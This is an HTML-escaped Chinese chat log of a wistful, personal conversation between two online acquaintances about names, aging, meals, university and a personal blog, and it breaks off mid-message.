\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:09:37\u003c/h2\u003e\r\n\u003ch2\u003e那我就不明白了，你是喜欢上了这个名字，还是怀念以前的那个怡红公子，还是……\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:10:48\u003c/h2\u003e\r\n\u003ch2\u003e是你问的第3个原因 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:11:23\u003c/h2\u003e\r\n\u003ch2\u003e呵呵，你认为我的第三个原因是什么，怎么就这么肯定？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:11:25\u003c/h2\u003e\r\n\u003ch2\u003e真正的原因在你的省略号里面 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:12:48\u003c/h2\u003e\r\n\u003ch2\u003e算了算了，我也不想问了，大家都明白\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:13:11\u003c/h2\u003e\r\n\u003ch2\u003e你明白 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:13:27\u003c/h2\u003e\r\n\u003ch2\u003e你不明白？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:14:11\u003c/h2\u003e\r\n\u003ch2\u003e你觉得我还不够明白？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:14:57\u003c/h2\u003e\r\n\u003ch2\u003e我觉得你很明白，只是你的话让我又觉得你很不明白似的，嘿嘿，我知道你有一颗七窍玲珑心，肯定是明白的。\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:15:19\u003c/h2\u003e\r\n\u003ch2\u003e你真是长大了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:15:37\u003c/h2\u003e\r\n\u003ch2\u003e哎！你又这样说了……\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:16:40\u003c/h2\u003e\r\n\u003ch2\u003e当初那个玲珑到剔透的孩子呢？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:17:20\u003c/h2\u003e\r\n\u003ch2\u003e哦，原来是这个意思。我记得我说过的，并没有什么所谓的长大，只是，心态。\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:17:40\u003c/h2\u003e\r\n\u003ch2\u003e是的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:17:49\u003c/h2\u003e\r\n\u003ch2\u003e这是必须的改变 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:18:12\u003c/h2\u003e\r\n\u003ch2\u003e否则你拿什么来抵挡这多变的世界？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:18:50\u003c/h2\u003e\r\n\u003ch2\u003e这个世界，它……，很难捉摸，我抵挡不了，\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:20:40\u003c/h2\u003e\r\n\u003ch2\u003e吃饭了没》\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:20:53\u003c/h2\u003e\r\n\u003ch2\u003e你饿了？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:21:20\u003c/h2\u003e\r\n\u003ch2\u003e不饿……只是问你……你没有饮食规律\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:21:39\u003c/h2\u003e\r\n\u003ch2\u003e你居然还记得？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:22:20\u003c/h2\u003e\r\n\u003ch2\u003e嗯，这个还是记得的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:22:35\u003c/h2\u003e\r\n\u003ch2\u003e其他的都淡忘了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:22:54\u003c/h2\u003e\r\n\u003ch2\u003e有些，也该忘掉吧\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:22:59\u003c/h2\u003e\r\n\u003ch2\u003e你总是这样不露声色的伤人 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:23:17\u003c/h2\u003e\r\n\u003ch2\u003e又伤你了？对不起……\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:23:31\u003c/h2\u003e\r\n\u003ch2\u003e是我在自伤 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:23:40\u003c/h2\u003e\r\n\u003ch2\u003e不怨你 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:24:11\u003c/h2\u003e\r\n\u003ch2\u003e那该怨谁？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:24:15\u003c/h2\u003e\r\n\u003ch2\u003e我 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:24:28\u003c/h2\u003e\r\n\u003ch2\u003e哦\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:25:15\u003c/h2\u003e\r\n\u003ch2\u003e看样子是还没有吃了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:25:34\u003c/h2\u003e\r\n\u003ch2\u003e我在家里，没事的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:25:56\u003c/h2\u003e\r\n\u003ch2\u003e在家就可以不吃饭拉？嘿嘿\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:26:15\u003c/h2\u003e\r\n\u003ch2\u003e老在睡觉 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:26:26\u003c/h2\u003e\r\n\u003ch2\u003e也不需要吃太多饭 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:26:52\u003c/h2\u003e\r\n\u003ch2\u003e变猪，嘿嘿。你就算睡再多的觉也长不胖。\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:27:21\u003c/h2\u003e\r\n\u003ch2\u003e是的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:28:42\u003c/h2\u003e\r\n\u003ch2\u003e不过几觉醒来，也就老了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:29:30\u003c/h2\u003e\r\n\u003ch2\u003e我觉得你不老，因为你心不老。\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:29:43\u003c/h2\u003e\r\n\u003ch2\u003e光阴渐逝，红颜暗老 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:30:15\u003c/h2\u003e\r\n\u003ch2\u003e心也渐渐老了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:30:38\u003c/h2\u003e\r\n\u003ch2\u003e去年的心，18岁 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:30:44\u003c/h2\u003e\r\n\u003ch2\u003e哎！我说的是真的，不老。\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:31:03\u003c/h2\u003e\r\n\u003ch2\u003e今年的心，应该多加几个数字了 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:33:53\u003c/h2\u003e\r\n\u003ch2\u003e你还有几年毕业？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:34:07\u003c/h2\u003e\r\n\u003ch2\u003e三年\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:34:16\u003c/h2\u003e\r\n\u003ch2\u003e下个学期大二了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:34:16\u003c/h2\u003e\r\n\u003ch2\u003e哦 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:34:23\u003c/h2\u003e\r\n\u003ch2\u003e我以为还有4年 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:34:46\u003c/h2\u003e\r\n\u003ch2\u003e也差不多\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:34:55\u003c/h2\u003e\r\n\u003ch2\u003e3年后，你会是什么样子呢 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:35:08\u003c/h2\u003e\r\n\u003ch2\u003e你很期待？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:35:17\u003c/h2\u003e\r\n\u003ch2\u003e没有 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:35:36\u003c/h2\u003e\r\n\u003ch2\u003e哦\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:35:50\u003c/h2\u003e\r\n\u003ch2\u003e也在想3年我是什么样子 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:35:58\u003c/h2\u003e\r\n\u003ch2\u003e后 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:36:10\u003c/h2\u003e\r\n\u003ch2\u003e嗯，会变的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:36:27\u003c/h2\u003e\r\n\u003ch2\u003e是的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:36:41\u003c/h2\u003e\r\n\u003ch2\u003e3年后你风华正茂 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:36:47\u003c/h2\u003e\r\n\u003ch2\u003e老了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:36:57\u003c/h2\u003e\r\n\u003ch2\u003e老了的，是我 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:37:09\u003c/h2\u003e\r\n\u003ch2\u003e我也老了，心老了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:37:24\u003c/h2\u003e\r\n\u003ch2\u003e不，应该不是老了，是憔悴了\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:37:46\u003c/h2\u003e\r\n\u003ch2\u003e我永远在你老之前 白了头发花了眼睛 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:38:03\u003c/h2\u003e\r\n\u003ch2\u003e所以，我想看看你的手 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:39:25\u003c/h2\u003e\r\n\u003ch2\u003e算了算了，看了又如何，该来的还是会来的，岁月记录的，永远都是衰老\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:40:13\u003c/h2\u003e\r\n\u003ch2\u003e也好 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:40:21\u003c/h2\u003e\r\n\u003ch2\u003e嗯\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:41:07\u003c/h2\u003e\r\n\u003ch2\u003e梦中依稀牵着的那只手，是很美好的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:41:33\u003c/h2\u003e\r\n\u003ch2\u003e那就保持那份美好吧\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:41:57\u003c/h2\u003e\r\n\u003ch2\u003e是的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:42:10\u003c/h2\u003e\r\n\u003ch2\u003e许多人与事，都是这样的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:42:40\u003c/h2\u003e\r\n\u003ch2\u003e或许是\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:47:47\u003c/h2\u003e\r\n\u003ch2\u003e你怎么不写日志了？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:48:08\u003c/h2\u003e\r\n\u003ch2\u003e是说空间么？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:48:12\u003c/h2\u003e\r\n\u003ch2\u003e是的 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:48:34\u003c/h2\u003e\r\n\u003ch2\u003ewww.imnerd.org有兴趣就看下吧，也没什么\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:48:40\u003c/h2\u003e\r\n\u003ch2\u003e我的博客\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:48:54\u003c/h2\u003e\r\n\u003ch2\u003e估计你不喜欢的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:48:58\u003c/h2\u003e\r\n\u003ch2\u003eXXX？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:49:05\u003c/h2\u003e\r\n\u003ch2\u003e嗯\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:49:19\u003c/h2\u003e\r\n\u003ch2\u003eXXX\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:50:57\u003c/h2\u003e\r\n\u003ch2\u003e是你的名字？？？ \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:51:21\u003c/h2\u003e\r\n\u003ch2\u003e嗯，我还以为你知道了……呵呵，从网址就看出来了？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:52:58\u003c/h2\u003e\r\n\u003ch2\u003e总觉得不是你的名字 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:53:16\u003c/h2\u003e\r\n\u003ch2\u003e怎么这么说？\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:53:25\u003c/h2\u003e\r\n\u003ch2\u003e呵呵 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:53:32\u003c/h2\u003e\r\n\u003ch2\u003e只是 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:53:44\u003c/h2\u003e\r\n\u003ch2\u003e习惯了你叫怡红公子 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003e怡红公子\u003c/h2\u003e\r\n\u003ch2\u003e12:54:06\u003c/h2\u003e\r\n\u003ch2\u003e嗯，我也是，网上认识的，我一般都叫他们网名的\u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:54:44\u003c/h2\u003e\r\n\u003ch2\u003eXXX，感觉是另外一个人 \u003c/h2\u003e\r\n\u003c/td\u003e\r\n\u003c/tr\u003e\r\n\u003ctr\u003e\r\n\u003ctd width=\"100%\"\u003e\r\n\u003ch2\u003eXXXX\u003c/h2\u003e\r\n\u003ch2\u003e12:54:51\u003c/h2\u003e\r\n\u003ch2\u003e一个陌生的人 